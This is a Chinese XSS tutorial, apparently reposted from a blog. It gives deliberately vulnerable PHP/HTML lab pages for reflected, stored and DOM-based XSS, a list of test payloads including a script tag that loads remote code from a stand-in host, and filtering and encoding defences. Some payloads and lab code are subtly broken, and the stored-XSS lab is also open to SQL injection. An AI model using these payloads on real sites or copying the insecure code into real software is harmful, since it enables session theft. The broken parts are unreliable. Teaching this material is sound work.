目錄
xss漏洞介紹
XSS是什么
XSS漏洞原理
反射型XSS攻擊復現
存盤型XSS攻擊復現
DOM型XSS攻擊復現
常用的XSS測驗陳述句
關于XSS的防御
xss漏洞介紹
跨站腳本攻擊,英文全稱是Cross Site Scripting,為了不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS
XSS攻擊,通常指的是攻擊者通過“HTML注入”篡改網頁,插入惡意腳本,代碼注入的一種攻擊手段,當其他用戶瀏覽網頁時就會受影響
常見的危害如竊取cookie,未授權操作,鍵盤記錄,釣魚等等
XSS是什么
那XSS到底是什么呢?舉個例子,假設有一個頁面,會把用戶輸入的引數直接輸出至頁面上,代碼如下
<?php
$input=$_GET["param"];
echo "<div>".$input."</div>";
?>
用戶通過GET方式向param提交的引數會回顯至頁面上,若訪問
http://127.0.0.1/1.php?param=ganyu

F12查看原始碼:

但是如果攻擊者提交的是一段HTML代碼呢?
http://127.0.0.1/1.php?param=<script>alert(/xss/)</script>
alert()方法用于顯示帶有一條指定訊息和一個 OK 按鈕的警告框

再次查看原始碼

可以看見,用戶輸入的script腳本已被寫入至頁面,alert(/xss/)在當前頁面被執行
如果構造的payload不是<script>alert(/xss/)</script>,而是<script src=http://www.exp.com/exp.js></script>
真正的payload寫在這個遠程腳本exp.js中,避免直接在URL內寫入大量javascript
以上例子就是典型的XSS第一種型別:反射型XSS
XSS漏洞原理
根據效果不同而分為三類:
反射型XSS
攻擊方式:攻擊者通過電子郵件等方式將包含的XSS代碼惡意鏈接發送給目標用戶,當用戶訪問鏈接時,服務器把帶有XSS代碼的資料發送給目標用戶瀏覽器,瀏覽器決議這段惡意腳本,導致XSS漏洞,這種攻擊方式也稱為“非持久型XSS”
存盤型XSS
攻擊方式:攻擊者在發帖程序中,將惡意腳本連同正常資訊一起注入帖子的內容中,隨著帖子被服務器存盤下來,攻擊腳本將被永久地存放在目標服務器的資料庫中,具有很高的隱蔽性,當正常用戶瀏覽這個被插入惡意腳本的帖子時,惡意腳本會在他們的瀏覽器中執行,這種攻擊方式也稱為“持久型XSS”
DOM型XSS
攻擊方式:用戶請求一個經過專門設計的URL,由攻擊者提交,其中包含XSS代碼,服務器的回應不會以任何方式包含攻擊者的腳本,當用戶瀏覽器處理這個回應時,DOM物件就會處理XSS代碼,導致存在XSS漏洞
反射型XSS攻擊復現
原始碼如下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>反射型XSS</title>
</head>
<body>
<center>
<h6>反射型XSS靶場</h6>
<form action="" method="get">
<h6>請輸入需要回顯的字串</h6>
<input type="text" name="xss_input_value" value=""><br />
<input type="submit">
</form>
<hr>
<?php
if(isset($_GET['xss_input_value'])){
echo '<input type="text" value="'.$_GET['xss_input_value'].'">';
}else{
echo '<input type="text" value="輸出中...">';
}
?>
</center>
</body>
</html>

這段代碼實作的功能是在表單內的輸入框提交內容,單擊提交按鈕后,會回顯至頁面上,若訪問http://127.0.0.1/1.html?xss_input_value=ganyu,ganyu將輸出到頁面上

但是如果訪問的是http://127.0.0.1/1.html?xss_input_value=%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E呢?
payload:"><script>alert(/xss/)</script>
F12查看原始碼,可以看到,輸入的雙引號閉合了value屬性的雙引號,并且重新插入一段HTML代碼<script>alert(/xss/)</script>,如下所示

在反射型xss靶場中,通過GET方式提交引數xss_input_value的值,echo將會執行輸出input標簽,并將賦值給xss_input_value的值帶入input的value中,當瀏覽器執行<input type="text" value=""><script>alert(/xss/)</script>">時,造成XSS漏洞,利用同樣方式可以構造的payload如下
"><img src=1 οnerrοr=alert(/xss/)>
存盤型XSS攻擊復現
存盤型XSS頁面實作的功能是獲取用戶輸入的留言資訊存盤至資料庫,并將留言資訊輸出到頁面上
原始碼如下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>存盤型XSS</title>
</head>
<body>
<center>
<h6>存盤型XSS靶場</h6>
<h6>留言板</h6>
<form action="" method="get">
標題:<input type="text" name="title"><br />
內容:<textarea name="content"></textarea><br />
<input type="submit">
</form>
<hr>
<?php
$con=mysqli_connect("localhost","root","passwd","xss");//本機地址,用戶名,用戶密碼,資料庫
if(mysqli_connect_errno($con))
{
echo "資料庫連接錯誤" . mysqli_connect_error();
}
if(isset($_POST['title'])){
$result1=mysqli_query($con,"insert into xss(`title`,`content`) VALUES('".$_POST['title']."','".$_POST['content']."')");
}
$result2=mysqli_query($con,"select * from xsstable");//查詢表內所有內容
echo "<table border='1'><tr><td>標題</tr><td>內容</td></tr>";
while($row=mysqli_fetch_array($result2)){
echo "<tr><td>".$row['title'] . "</td><td>" . $row['content']."</td>";
}
echo "</table>";
?>
</center>
</body>
</html>
首先復現需要創建一個名為xss的資料庫,新建一個xsstable表,兩個欄位名,title和content,
當用戶插入一條標題為hello,內容為world時,資料庫中資料如下所示

那如果攻擊者插入的標題為<img src=1 οnerrοr=alert(/xss/)>呢?
再次查詢

能看見,成功插入了資料,當瀏覽器訪問的時候,瀏覽器會將標題輸出至頁面,頁面執行HTML代碼,導致彈窗,此時,這個XSS也稱“持久性XSS”

DOM型XSS攻擊復現
原始碼如下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>DOM型XSS</title>
<script type="text/javascript">
function tihuan(){
document.getElementById("id1").innerHTML=document.getElementById("dom_input").value;
}
</script>
</head>
<body>
<center>
<h6>DOM型XSS靶場</h6>
<h6 id="id1">輸入中...</h6>
<form>
<input type="text" id="dom_input" value="輸入"><br />
<input type="button" value="替換" onclick="tihuan()"><br />
</form>
<hr>
</center>
</body>
</html>

單擊“替換”會執行javascript的tihuan函式,tihuan函式為DOM操作,HTML的標簽都是節點,通過HTML DOM,樹中的所有節點均可通過javascript訪問,如通過 document.getElementById獲取ID為id1的節點,然后將節點id1的內容修改成id為dom_input中的值,當攻擊者構造payload為,則造成XSS彈窗漏洞
常用的XSS測驗陳述句
<script>alert(/xss/)</script>
</script><script>alert(/xss/)</script>
<img src=1 οnerrοr=alert(/xss/)>
<a herf=javascript:alert(/xss/)>
#' οnclick="alert(/xss/)">
關于XSS的防御
對用戶提交的內容進行過濾,對url中的引數進行過濾,包括"","<",">","on*"等等,過濾掉會導致腳本執行的相關內容,對輸入的內容進行過濾,可以分為黑名單過濾和白名單過濾,黑名單過濾雖然可以攔截大部分的XSS攻擊,但是還是存在被繞過的風險,白名單過濾雖然可以基本杜絕XSS攻擊,但是真實環境中一般是不能進行如此嚴格的白名單過濾的,
對輸出到頁面的資料進行相應的編碼轉換,包括HTML物體編碼,javascript編碼等等
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/335430.html
標籤:其他
